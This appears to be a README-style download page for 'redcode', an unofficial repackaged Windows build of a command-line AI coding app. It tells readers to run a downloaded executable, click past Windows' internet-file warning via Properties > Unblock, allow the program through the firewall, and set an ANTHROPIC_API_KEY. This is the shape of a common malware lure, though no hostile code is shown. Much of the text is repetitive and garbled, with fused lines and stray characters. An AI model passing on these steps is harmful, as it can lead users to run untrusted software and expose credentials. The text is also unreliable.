Use this link to visit the page and download or install redcode:
redcode is a desktop tool that lets you run a command-line AI coding app on Windows with a simple setup. It is built for people who want to use the tool without dealing with a long manual install.
It helps you:
- open the app from Windows
- run it from a terminal window
- use your own API key if you have one
- keep the setup in one place
- get started without extra steps
Before you start, make sure you have:
- Windows 10 or Windows 11
- an internet connection
- enough disk space for the app and its files
- permission to install software on your PC
- a GitHub account if your browser asks you to sign in
For best results, use:
- a recent version of Windows
- the latest browser on your PC
- a stable network connection
Keep these things ready:
- the download page open in your browser
- your Windows login password, if your PC asks for approval
- your API key if you want to use your own account
- a terminal app such as Command Prompt or Windows Terminal
If you do not know what an API key is, you can still follow the install steps and come back to it later
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Open the redcode download page: Download redcode from GitHub
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On the page, look for the latest release or the main download file.
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Download the file to your computer.
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When the download finishes, open the file.
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If Windows asks for permission, click Yes.
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Let the setup finish.
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If the app adds itself to your PATH, you can open it from any terminal window.
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If the installer shows a finish button, click it.
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Keep the app in the same folder unless the setup asks you to move it
After install, start redcode from one of these places:
- the Start menu
- the desktop shortcut
- a terminal window
If you use a terminal, open it and type the app name, then press Enter.
If the app opens, you are ready for the next step.
redcode can work with your own API key.
If you already have one:
- Open Command Prompt or Windows Terminal
- Set the key for your current session
- Start redcode after that
Example:
set ANTHROPIC_API_KEY=sk-ant-your-key-here
redcodeIf you want to keep the key for future sessions, add it in Windows Environment Variables.
To do that:
- Open the Start menu
- Search for Environment Variables
- Open Edit the system environment variables
- Click Environment Variables
- Under User variables, click New
- Set the name to ANTHROPIC_API_KEY
- Set the value to your key
- Click OK on each window
Once redcode is open, you can type your request in the terminal.
Examples:
- ask it to explain code
- ask it to help edit a file
- ask it to create a small script
- ask it to review a change
- ask it to help with setup steps
If the app asks for more input, type your response and press Enter.
Use the path that fits your PC:
- download the file
- open it
- finish setup
- launch redcode
- install the app
- open Windows Terminal
- type
redcode - add your API key if needed
- download the source or release file
- place it in a folder you can find
- open a terminal in that folder
- run the app from there
After setup, redcode should:
- open in a terminal window
- respond to text prompts
- use your local Windows setup
- save you from doing the same steps again
- run with the features that are enabled in this build
You may see files like these after install:
redcode.exeor a similar app file- a folder for settings
- log files
- support files for the runtime
Do not delete these files if you want the app to keep working
Try these steps:
- Close the app
- Open it again
- Check that the file finished downloading
- Make sure Windows did not block the file
- Restart your PC
- Try opening it from a terminal
- Check your API key if the app asks for one
If the app still does not open, download the file again from the main page
Windows may show a security prompt when you open a new file from the internet.
If that happens:
- Right-click the file
- Open Properties
- Look for an Unblock option
- Apply the change
- Open the file again
If you do not see that option, continue with the normal open step
redcode may need network access to:
- check your API key
- connect to the service it uses
- fetch updates or support files
- complete normal app actions
If your firewall asks, allow the app through for private networks
If you want to remove it from your PC:
- Close the app
- Delete the app folder
- Remove any shortcut you made
- Remove the PATH entry if you added one
- Remove the ANTHROPIC_API_KEY variable if you no longer need it
For a smooth setup, keep redcode in a folder like:
- Downloads
- Desktop
- Documents
- a folder named
Tools
Do not move it while the app is running
If you open a terminal, these commands can help:
redcodeset ANTHROPIC_API_KEY=sk-ant-your-key-hereecho %ANTHROPIC_API_KEY%- type short requests first
- keep one task at a time
- read the appβs reply before sending another request
- use simple file names
- save your work before making changes
This build is set up to make the app easier to use on your machine. It is designed to:
- install with fewer manual steps
- run as a single app
- keep setup simple
- work from a normal Windows terminal
- use the features enabled in this build
If the first download fails or the file looks incomplete, visit the download page again and get a fresh copy:
Check your Downloads folder
Press the Windows key, type Terminal, and open Windows Terminal
Set ANTHROPIC_API_KEY in your terminal or Windows settings
Try right-clicking the file and open it again, or run it from a terminal
Open it from Windows Terminal so you can see the message
- Visit the download page
- Download the file
- Open the file
- Finish setup
- Open Windows Terminal
- Set your API key if needed
- Run
redcode - Start typing your request